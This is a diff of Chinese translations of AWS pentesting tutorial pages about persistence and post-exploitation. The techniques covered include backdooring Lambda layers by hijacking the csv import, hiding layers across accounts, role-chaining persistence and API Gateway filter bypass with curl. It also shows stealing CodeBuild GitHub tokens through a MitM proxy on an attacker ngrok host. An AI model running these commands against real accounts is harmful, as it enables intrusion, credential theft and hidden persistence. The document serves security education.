**与其他账户共享** 一个层或 **将** 该层 **公开**。如果你的函数使用了其他账户发布的层,即使该层被删除或你被撤销访问权限,你的函数仍然可以 **继续使用该层版本**。但是,你不能使用已删除的层版本创建新函数或更新函数。 +**默认情况下**,你创建的 **层** 对你的 AWS 账户是 **私有** 的。你可以选择 **与其他账户共享** 一个层或 **将** 该层 **公开**。如果你的函数使用了其他账户发布的层,你的函数可以 **在该层被删除后,或在你被撤销访问该层的权限后继续使用该层版本**。但是,你不能使用已删除的层版本创建新函数或更新函数。 -作为容器镜像部署的函数不使用层。相反,当你构建镜像时,你将所需的运行时、库和其他依赖项打包到容器镜像中。 +作为容器镜像部署的函数不使用层。相反,当你构建镜像时,你将首选的运行时、库和其他依赖项打包到容器镜像中。 ### Python load path @@ -18,20 +18,20 @@ Python 在 lambda 中使用的加载路径如下: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -检查 **第二** 和 **第三** **位置** 是否被 **lambda layers** 解压其文件的目录占用: **`/opt/python/lib/python3.9/site-packages`** 和 **`/opt/python`** +检查 **第二** 和第三 **位置** 被 **lambda layers** 解压其文件的目录占用情况: **`/opt/python/lib/python3.9/site-packages`** 和 **`/opt/python`** > [!CAUTION] -> 如果攻击者设法 **后门** 一个被使用的 lambda **layer** 或 **添加一个** 在加载常用库时会 **执行任意代码** 的层,他将能够在每次 lambda 调用时执行恶意代码。 +> 如果攻击者设法 **后门** 一个被使用的 lambda **layer** 或 **添加一个** 在加载常见库时会 **执行任意代码** 的层,他将能够在每次 lambda 调用时执行恶意代码。 因此,要求是: -- **检查库** 这些库是 **被受害者代码加载的** +- **检查** 受害者代码 **加载的库** - 创建一个 **带有 lambda layers 的代理库**,该库将 **执行自定义代码** 并 **加载原始** 库。 ### 预加载的库 > [!WARNING] -> 在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 **被加载**。我原本期待找到像 `os` 或 `sys` 这样的东西,但 **甚至 `json` 库也被加载**。\ +> 在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 **加载**。我原本期待找到像 `os` 或 `sys` 这样的东西,但 **甚至 `json` 库也已加载**。\ > 为了滥用这种持久性技术,代码需要 **加载一个在代码执行时未加载的新库**。 使用这样的 python 代码,可以获得 **在 lambda 中预加载的库列表**: @@ -48,20 +48,20 @@ return { ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` -这是**lambda 默认包含的库**列表:[https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +这是**lambda默认安装的库**列表:[https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) ### Lambda Layer 后门 -在这个例子中,假设目标代码正在导入 **`csv`**。我们将对 **`csv` 库的导入进行后门处理**。 +在这个例子中,假设目标代码正在导入**`csv`**。我们将对**`csv`库的导入进行后门处理**。 -为此,我们将创建目录 **csv**,并在其中放置文件 **`__init__.py`**,路径为 lambda 加载的路径:**`/opt/python/lib/python3.9/site-packages`**\ -然后,当 lambda 执行并尝试加载 **csv** 时,我们的 **`__init__.py` 文件将被加载并执行**。\ +为此,我们将创建目录csv,并在其中放置文件**`__init__.py`**,路径为lambda加载的路径:**`/opt/python/lib/python3.9/site-packages`**\ +然后,当lambda被执行并尝试加载**csv**时,我们的**`__init__.py`文件将被加载并执行**。\ 该文件必须: - 执行我们的有效载荷 -- 加载原始的 csv 库 +- 加载原始的csv库 -我们可以通过以下方式同时完成这两项: +我们可以通过以下方式实现这两者: ```python import sys from urllib import request @@ -83,7 +83,7 @@ import csv as _csv sys.modules["csv"] = _csv ``` -然后,创建一个 zip 文件,包含此代码,路径为 **`python/lib/python3.9/site-packages/__init__.py`**,并将其添加为 lambda 层。 +然后,创建一个包含此代码的 zip 文件,路径为 **`python/lib/python3.9/site-packages/__init__.py`** 并将其添加为 lambda 层。 您可以在 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) 找到此代码。 @@ -101,8 +101,8 @@ sys.modules["csv"] = _csv 因此,为了提高此技术的灵活性,攻击者可以: - 在用户的现有层中植入后门(没有任何外部内容) -- **在他的账户中创建**一个**层**,给予**受害者账户使用**该层的权限,**配置**受害者的 Lambda 中的**层**并**移除权限**。 -- **Lambda** 仍然能够**使用该层**,而**受害者**将没有任何简单的方法来**下载层代码**(除了在 lambda 内部获取反向 shell) +- **在** **他的账户中创建**一个**层**,给予**受害者账户使用**该层的**访问权限**,**配置**受害者的 Lambda 中的**层**并**移除权限**。 +- **Lambda** 仍然能够**使用该层**,而**受害者将**没有任何简单的方法来**下载层代码**(除了在 lambda 内部获取反向 shell) - 受害者**不会看到**使用 **`aws lambda list-layers`** 的外部层 ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 03372a14f..0ddb4d339 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,7 +4,7 @@ ## Lightsail -有关更多信息,请查看: +更多信息请查看: {{#ref}} ../aws-services/aws-lightsail-enum.md @@ -12,22 +12,22 @@ ### 下载实例 SSH 密钥和数据库密码 -它们可能不会被更改,因此拥有它们是持久性的一个好选择 +它们可能不会被更改,因此拥有它们是持久性的一个好选择。 ### 后门实例 -攻击者可以访问实例并对其进行后门操作: +攻击者可以访问实例并植入后门: - 例如使用传统的 **rootkit** - 添加新的 **公共 SSH 密钥** -- 使用后门暴露一个端口并进行端口敲击 +- 通过端口敲击暴露一个端口并植入后门 ### DNS 持久性 如果域名已配置: -- 创建一个指向您的 IP 的子域,以便您将拥有 **子域接管** +- 创建一个指向您 IP 的子域,以便您将拥有 **子域接管** - 创建 **SPF** 记录,允许您从该域发送 **电子邮件** -- 将 **主域 IP 配置为您自己的 IP**,并从您的 IP 对合法 IP 执行 **MitM** +- 将 **主域 IP 配置为您自己的 IP**,并从您的 IP 对合法 IP 执行 **MitM** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 0d3859920..54afedd5d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -10,7 +10,7 @@ ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### 使实例公开可访问:`rds:ModifyDBInstance` +### 使实例公开可访问: `rds:ModifyDBInstance` 具有此权限的攻击者可以**修改现有的 RDS 实例以启用公共可访问性**。 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 2eb434759..4eaf4055e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -16,7 +16,7 @@
-因此,攻击者可以从元数据中获取此密钥,并使用 KMS(`aws kms decrypt`)进行解密,以获得用于加密信息的密钥。这样,攻击者将拥有加密密钥,如果该密钥被重用于加密其他文件,他将能够使用它。 +因此,攻击者可以从元数据中获取此密钥,并使用 KMS(`aws kms decrypt`)进行解密,以获取用于加密信息的密钥。这样,攻击者将拥有加密密钥,如果该密钥被重用于加密其他文件,他将能够使用它。 ### 使用 S3 ACLs diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 7dc60a195..3057c7ce3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -4,7 +4,7 @@ ## Secrets Manager -有关更多信息,请查看: +更多信息请查看: {{#ref}} ../aws-services/aws-secrets-manager-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 98030299c..9b1ee6126 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -12,7 +12,7 @@ ### 使用资源策略 -在 SQS 中,您需要通过 IAM 策略指明 **谁可以访问读取和写入**。可以指明外部账户、角色的 ARN,或 **甚至 "\*"**。\ +在 SQS 中,您需要通过 IAM 策略指明 **谁可以读取和写入**。可以指明外部账户、角色的 ARN,或 **甚至 "\*"**。\ 以下策略允许 AWS 中的每个人访问名为 **MyTestQueue** 的队列中的所有内容: ```json { diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..41ce6d92b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM 持久性 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 2c12e3f5e..e4c18a935 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -12,10 +12,10 @@ ### Step function Backdooring -对步骤函数进行后门设置,使其执行任何持久性技巧,以便每次执行时都会运行您的恶意步骤。 +在步骤函数中植入后门,使其执行任何持久性技巧,以便每次执行时都会运行您的恶意步骤。 ### Backdooring aliases -如果AWS账户使用别名来调用步骤函数,则可以修改别名以使用步骤函数的新后门版本。 +如果 AWS 账户使用别名来调用步骤函数,则可以修改别名以使用新的植入后门版本的步骤函数。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 9ca4ad338..59702efb6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -28,9 +28,9 @@ aws sts get-session-token \ ### 角色链切换 -[**角色链切换是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。 +[**角色链是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。 -您可以使用这个 [**工具**](https://github.com/hotnops/AWSRoleJuggler/) 来保持角色链切换: +您可以使用这个 [**工具**](https://github.com/hotnops/AWSRoleJuggler/) 来保持角色链的持续进行: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 96829e503..f8967359c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -12,35 +12,35 @@ ### 访问未公开的 API -您可以在 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) 创建一个服务为 `com.amazonaws.us-east-1.execute-api` 的端点,将该端点暴露在您可以访问的网络中(可能通过 EC2 机器),并分配一个允许所有连接的安全组。\ +您可以在 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) 创建一个服务为 `com.amazonaws.us-east-1.execute-api` 的端点,在您有访问权限的网络中公开该端点(可能通过 EC2 机器),并分配一个允许所有连接的安全组。\ 然后,从 EC2 机器上,您将能够访问该端点,从而调用之前未公开的网关 API。 -### 绕过请求体传递 +### 绕过请求体透传 此技术在 [**此 CTF 文章**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) 中发现。 正如 [**AWS 文档**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) 中的 `PassthroughBehavior` 部分所示,默认情况下,值 **`WHEN_NO_MATCH`** 在检查请求的 **Content-Type** 头时,将请求传递给后端而不进行任何转换。 -因此,在 CTF 中,API Gateway 有一个集成模板,该模板 **阻止了标志在响应中被外泄**,当请求以 `Content-Type: application/json` 发送时: +因此,在 CTF 中,API Gateway 有一个集成模板,该模板 **阻止了标志在发送 `Content-Type: application/json` 的请求时被外泄**。 ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -然而,发送一个带有 **`Content-type: text/json`** 的请求将会阻止该过滤器。 +然而,发送带有 **`Content-type: text/json`** 的请求将会阻止该过滤器。 -最后,由于 API Gateway 仅允许 `Get` 和 `Options`,因此可以通过发送一个带有查询的 POST 请求,并使用头部 `X-HTTP-Method-Override: GET` 来发送任意的 dynamoDB 查询,而没有任何限制: +最后,由于 API Gateway 仅允许 `Get` 和 `Options`,因此可以通过发送带有查询的 POST 请求并使用头部 `X-HTTP-Method-Override: GET` 来发送任意的 dynamoDB 查询,而没有任何限制: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### 使用计划 DoS -在 **Enumeration** 部分,您可以看到如何 **获取密钥的使用计划**。如果您拥有密钥并且它的 **每月使用次数限制为 X**,您可以 **直接使用它并造成 DoS**。 +在 **Enumeration** 部分,您可以看到如何 **获取密钥的使用计划**。如果您拥有密钥并且它的 **限制** 是每月 X 次使用,您可以 **直接使用它并造成 DoS**。 -**API Key** 只需包含在一个名为 **`x-api-key`** 的 **HTTP 头** 中。 +**API Key** 只需包含在名为 **`x-api-key`** 的 **HTTP header** 中。 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -拥有权限 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的 Gateway Response,以包含自定义头或响应模板,这些模板泄露敏感信息或执行恶意脚本**。 +拥有权限 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的 Gateway Response,以包含自定义头或响应模板,从而泄露敏感信息或执行恶意脚本**。 ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -58,7 +58,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -拥有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的API Gateway阶段,将流量重定向到不同的阶段或更改缓存设置以获得对缓存数据的未经授权访问**。 +拥有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有的API Gateway阶段,将流量重定向到不同的阶段或更改缓存设置以获得对缓存数据的未经授权访问**。 ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -拥有权限 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有API Gateway REST API方法的响应,以包含自定义头或响应模板,这些头或模板泄露敏感信息或执行恶意脚本**。 +拥有权限 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有API Gateway REST API方法的响应,以包含自定义头或响应模板,从而泄露敏感信息或执行恶意脚本**。 ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -拥有权限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan` 和 `apigateway:CreateUsagePlanKey` 的攻击者可以**创建新的API密钥,将其与使用计划关联,然后使用这些密钥未经授权访问API**。 +具有权限`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`和`apigateway:CreateUsagePlanKey`的攻击者可以**创建新的API密钥,将其与使用计划关联,然后使用这些密钥未经授权访问API**。 ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index e415ff360..0bfad8128 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -14,7 +14,7 @@ 这篇 [**博客文章**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) 提出了几种不同的场景,其中可以将 **Lambda** 添加(或在已使用的情况下进行修改)到 **通过 CloudFront 的通信中**,目的是 **窃取** 用户信息(如会话 **cookie**)并 **修改** **响应**(注入恶意 JS 脚本)。 -#### 场景 1:中间人攻击,其中 CloudFront 配置为访问某个存储桶的 HTML +#### 场景 1:中间人攻击,CloudFront 被配置为访问某个存储桶的 HTML - **创建** 恶意 **函数**。 - **将其与 CloudFront 分发关联**。 @@ -22,7 +22,7 @@ 访问响应后,您可以窃取用户的 cookie 并注入恶意 JS。 -#### 场景 2:中间人攻击,其中 CloudFront 已在使用 lambda 函数 +#### 场景 2:中间人攻击,CloudFront 已在使用 lambda 函数 - **修改 lambda 函数的代码** 以窃取敏感信息 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 204ffb1ec..2ef98027d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -13,7 +13,7 @@ ### 检查秘密 如果在 Codebuild 中设置了凭据以连接到 Github、Gitlab 或 Bitbucket,形式为个人令牌、密码或 OAuth 令牌访问,这些 **凭据将作为秘密存储在秘密管理器中**。\ -因此,如果您有权限读取秘密管理器,您将能够获取这些秘密并转向连接的平台。 +因此,如果您有权读取秘密管理器,您将能够获取这些秘密并转向连接的平台。 {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -21,18 +21,18 @@ ### 滥用 CodeBuild 仓库访问 -为了配置 **CodeBuild**,它需要 **访问将要使用的代码仓库**。多个平台可能托管此代码: +为了配置 **CodeBuild**,它需要 **访问将要使用的代码仓库**。多个平台可能会托管此代码:
**CodeBuild 项目必须具有** 对配置的源提供程序的访问权限,可以通过 **IAM 角色** 或使用 github/bitbucket **令牌或 OAuth 访问**。 具有 **CodeBuild 中提升权限的攻击者** 可以滥用此配置的访问权限,泄露配置仓库的代码以及设置凭据有访问权限的其他仓库。\ -为了做到这一点,攻击者只需 **将仓库 URL 更改为配置凭据有访问权限的每个仓库**(请注意,aws 网站会为您列出所有这些): +为了做到这一点,攻击者只需 **将仓库 URL 更改为配置凭据有访问权限的每个仓库**(请注意,aws 网站会为您列出所有仓库):
-并且 **更改 Buildspec 命令以提取每个仓库**。 +并 **更改 Buildspec 命令以提取每个仓库**。 > [!WARNING] > 然而,这 **项任务是重复且乏味的**,如果配置了具有 **写权限** 的 github 令牌,攻击者 **将无法(滥)用这些权限**,因为他没有访问令牌。\ @@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn --tag-keys ### `codebuild:DeleteSourceCredentials` -攻击者可以删除 Git 存储库的源凭证,影响依赖该存储库的应用程序的正常运行。 +攻击者可以删除 Git 存储库的源凭据,影响依赖于该存储库的应用程序的正常运行。 ```sql aws codebuild delete-source-credentials --arn ``` -**潜在影响**:由于源凭证的删除,依赖受影响存储库的应用程序的正常功能受到干扰。 +**潜在影响**:由于源凭据的删除,依赖受影响存储库的应用程序的正常功能受到干扰。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 227cb4d8d..9e2f196db 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -10,33 +10,33 @@ aws codebuild list-source-credentials ``` ### 通过 Docker 镜像 -如果你发现例如 Github 的认证已在账户中设置,你可以通过让 Codebuild **使用特定的 docker 镜像** 来运行项目的构建,从而 **提取** 该 **访问** (**GH token 或 OAuth token**)。 +如果您发现例如 Github 的身份验证已在账户中设置,您可以通过让 Codebuild **使用特定的 Docker 镜像** 来 **提取** 该 **访问** (**GH token 或 OAuth token**)以运行项目的构建。 -为此,你可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。 +为此,您可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 以设置 **Docker 镜像**。 -你可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。 +您可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基本的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许您拦截在 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任在 **`SSL_CERT_FILE`** 中指示的 SSL 证书。 -1. **创建并上传你自己的 Docker MitM 镜像** -- 按照仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,然后 **构建 docker 镜像**。 +1. **创建并上传您自己的 Docker MitM 镜像** +- 按照仓库的说明设置您的代理 IP 地址并设置您的 SSL 证书,然后 **构建 Docker 镜像**。 - **不要设置 `http_proxy`** 以避免拦截对元数据端点的请求。 -- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为你的主机。 -- 一旦你构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub, ECR...)。 +- 您可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理设置为您的主机。 +- 一旦您构建了 Docker 镜像,**将其上传到公共仓库**(Dockerhub、ECR...)。 2. **设置环境** - 创建一个 **新的 Codebuild 项目** 或 **修改** 现有项目的环境。 -- 设置项目使用 **之前生成的 Docker 镜像**。 +- 设置项目以使用 **之前生成的 Docker 镜像**。
-3. **在你的主机上设置 MitM 代理** +3. **在您的主机上设置 MitM 代理** -- 如 **Github 仓库** 中所示,你可以使用类似的东西: +- 如 **Github 仓库** 中所示,您可以使用类似的内容: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > 使用的 **mitmproxy 版本是 9.0.1**,据报道在版本 10 中这可能无法工作。 -4. **运行构建并捕获凭证** +4. **运行构建并捕获凭据** - 您可以在 **Authorization** 头中看到令牌: @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 +- 然后,在代理变量指向的端口(http_proxy 和 https_proxy)运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例 ```python from mitm import MITM, protocol, middleware, crypto @@ -134,9 +134,9 @@ mitm.run() ### ~~通过 HTTP 协议~~ -> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)** +> [!TIP] > **这个漏洞在 2023 年 2 月第 20 周的某个时候被 AWS 修复了(我想是星期五)。所以攻击者不能再利用它了 :)** -具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则 **用于访问代码的临时 OAuth 令牌**。 +具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限是通过 OAuth 配置的,则会泄露 **用于访问代码的临时 OAuth 令牌**。 - 攻击者可以将环境变量 **http_proxy** 和 **https_proxy** 添加到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。 @@ -144,7 +144,7 @@ mitm.run()
-- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions` +- 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如: `http://github.com/carlospolop-forks/TestActions` - 然后,在代理变量指向的端口(http_proxy 和 https_proxy)上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。 ```python from mitm import MITM, protocol, middleware, crypto @@ -167,6 +167,6 @@ aws codebuild start-build --project-name
